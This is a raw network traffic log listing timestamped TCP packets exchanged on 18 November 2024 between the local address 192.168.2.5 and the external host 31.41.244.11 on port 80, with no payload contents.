Nov 18, 2024 19:04:15.261075974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261085033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261115074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261125088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261158943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261167049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261192083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261199951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261226892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261235952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261266947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261276007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261316061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261326075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261358976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261367083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261395931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261399031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261429071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261437893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261466980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261476040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261499882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261507034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261533976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261543036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261574984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261580944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261615038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261621952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261646986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261656046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261689901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261698008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261734009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261739969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261769056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261779070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261802912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261815071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261836052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261847019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261868954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261873960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261904001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261913061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261940956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261946917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261974096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.261981010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262007952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262015104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262042046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262048960 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262074947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262105942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262110949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262118101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262145996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262197971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262240887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262243986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262274027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262281895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262316942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262337923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262372017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262379885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262404919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262414932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262438059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262448072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262470961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262479067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262499094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262512922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262533903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262547016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262567043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262569904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262599945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262609005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262634993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.262640953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.262679100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.263627052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.263667107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.264194012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.264238119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.264240026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.264278889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.264976978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.265010118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.265022993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.265050888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.265171051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.265207052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.265217066 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.265248060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266299963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266346931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266350031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266383886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266393900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266432047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266433001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266465902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266473055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266499043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266508102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266536951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266546965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266561031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266578913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266602039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266602039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266616106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266627073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266649008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266657114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266690969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266694069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266726971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266736984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266761065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266768932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266793013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266803026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266825914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266829967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266854048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266866922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266885996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266891956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266931057 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266932964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266966105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.266977072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.266999006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.267009974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.267031908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.267040968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.267065048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.267091036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.267102003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.269660950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298163891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298233032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298290968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298305988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298341036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298353910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298444986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298460007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298475981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298487902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298489094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298496008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298505068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298513889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298521996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298527956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298537970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298547983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298554897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298558950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298573971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298583031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298602104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298613071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298660994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298676968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298691034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298701048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298707008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298718929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298722982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298738003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298738956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298753023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.298757076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298784018 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.298801899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358017921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358155966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358315945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358338118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358375072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358392954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358406067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358411074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358424902 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358428955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358443975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358449936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358463049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358479977 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358499050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358583927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358617067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358629942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358635902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358654022 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358654976 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358673096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358681917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358702898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358747005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358783007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358822107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358907938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358927011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358943939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358957052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.358961105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.358983040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359002113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359029055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359062910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359069109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359088898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359102011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359106064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359143972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359179020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359263897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359281063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359299898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359307051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359338999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359352112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359426975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359446049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359478951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359497070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359510899 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359525919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359529018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359551907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359570026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359795094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359824896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359836102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359853983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359858990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359886885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359926939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359940052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359957933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359975100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.359992027 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.359993935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360018969 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360047102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360101938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360121012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360138893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360145092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360157013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360176086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360203981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360450029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360465050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360481977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360497952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360516071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360527992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360532045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360549927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360552073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360567093 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360574007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360584021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.360586882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360610962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.360631943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.373991013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374083042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374102116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374104023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374125957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374135017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374150991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374177933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374234915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374278069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374284029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374320984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374331951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374356031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374433994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374453068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374492884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374512911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374528885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374569893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374588013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374605894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374624014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374629021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374644041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374655008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374664068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374686956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374753952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374772072 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374802113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374815941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374907017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374927044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.374946117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.374969006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.378079891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.378098965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.378133059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.378170013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.378206015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.378220081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.378237963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.378257036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.378259897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.378288031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379205942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379270077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379384041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379399061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379436970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379450083 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379456043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379473925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379479885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379503965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379523039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379529953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379570961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.379571915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379596949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379610062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379627943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.379630089 CET	49977	80	192.168.2.5	31.41.244.11
